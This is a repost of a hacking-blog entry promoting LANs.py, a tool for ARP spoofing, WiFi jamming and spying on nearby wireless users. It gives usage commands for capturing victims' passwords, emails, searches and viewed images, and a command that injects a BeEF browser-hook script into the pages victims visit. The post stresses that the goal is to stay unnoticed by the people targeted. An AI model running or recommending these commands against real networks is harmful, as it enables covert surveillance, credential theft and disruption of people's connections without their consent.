Get Even More Visitors To Your Blog, Upgrade To A Business Listing >>

LANs.py - Tool For Injecting codes, Jamming WiFi, & Spying on WiFi Users


LANs.py is a multithreaded asynchronous packet parsing/injecting ARP spoofer.

It can automatically find the most active WLAN users then spy on one of them and/or inject arbitrary HTML/JS into pages they visit. The script individually poisons the ARP tables of the target box, the router and the DNS server if necessary (Does not poison anyone else on the network).  It also cleans up after itself.

It can also be used to continuously jam nearby Wifi networks. This has an approximate range of a 1 block radius, but this can vary based off of the strength of your WiFi card. This can be fine-tuned to allow jamming of everyone or even just one client (cannot jam WiFi and spy simultaneously).

Requirements:

  • Python-scapy
  • Python-nfqueue (nfqueue-bindings 0.4-3)
  • Aircrack-ng
  • Python-twisted
  • BeEF (optional)
  • Nmap
  • NBTScan
  • Tcpdump
  • A wireless card capable of promiscuous mode if you don't know the IP of your target.

How To Use LANs.py

Common usage:
python LANs.py -u -p
Active target identification which ARP spoofs the chosen target and outputs all the interesting non-HTTPS data they send or request. There's no -ip option so this will ARP scan the network, compare it to a live running promiscuous capture, and list all the clients on the network. Attempts to tag the targets with a Windows netbios name and prints how many data packets they are sending/receiving. The ability to capture data packets they send is very dependent on physical proximity and the power of your network card. Ctrl-C when you're ready and pick your target which it will then ARP spoof.

It supports interception and harvesting of data from the following protocols: HTTP, FTP, IMAP, POP3, IRC. It will print the first 135 characters of URLs visited and ignore URLs ending in .jpg, .jpeg, .gif, .css, .ico, .js, .svg, and .woff. It will also print all protocol username/passwords entered, searches made on any site, emails sent/received, and IRC messages sent/received.

Running LANs.py without argument will give you the list of active targets and upon selecting one, it will act as a simple ARP spoofer.

Another common usage:
python LANs.py -u -p -d -ip 192.168.0.10
-d: open an xterm with driftnet to see all images they view

-ip: target this IP address and skip the active targeting at the beginning


HTML injection:
python LANs.py -b http://192.168.0.5:3000/hook.js
Injecting a BeEF hook URL into pages the victim visits. This just wraps the argument in

Clean up:

Upon receiving a Ctrl-C:
  • Turns off IP forwarding
  • Flushes iptables firewall
  • Individually restores the router and victim's ARP tables

This script uses a python nfqueue-bindings queue wrapped in a Twisted IReadDescriptor to feed packets to callback functions. nfqueue-bindings is used to drop and forward certain packets. Python's scapy library does the work to parse and inject packets.

Injecting code undetected is a dicey game, if a minor thing goes wrong or the server the victim is requesting data from performs things in unique or rare way then the user won't be able to open the page they're trying to view and they'll know something's up. This script is designed to forward packets if anything fails so during usage you may see lots of "[!] Injected packet for www.domain.com" but only see one or two domains on the BEeF panel that the browser is hooked on. This is OK. If they don't get hooked on the first page just wait for them to browse a few other pages. The goal is to be unnoticeable.



Download LANs.py

You might also like:
  • 14 Best IP Hide Tools 2017
  • A Gift for the Hackers (Documentary Film)
  • 3 Best Ways To Unblock Blocked Websites
  • Defeating the Hackers (Documentary Film)
  • Hackers: Outlaws and Angels (Documentary Film)
  • WiFi Kill Pro - Android App For Hackers
  • Phreaked Out (Video Series)
  • AnDOSid - Android App For Hackers
  • Hacked: When Cyber Spies Attack (Documentary Film)


This post first appeared on Effect Hacking - Hacking Tools, How To Guides An, please read the originial post: here

Share the post

LANs.py - Tool For Injecting codes, Jamming WiFi, & Spying on WiFi Users

×

Subscribe to Effect Hacking - Hacking Tools, How To Guides An

Get updates delivered right to your inbox!

Thank you for your subscription

×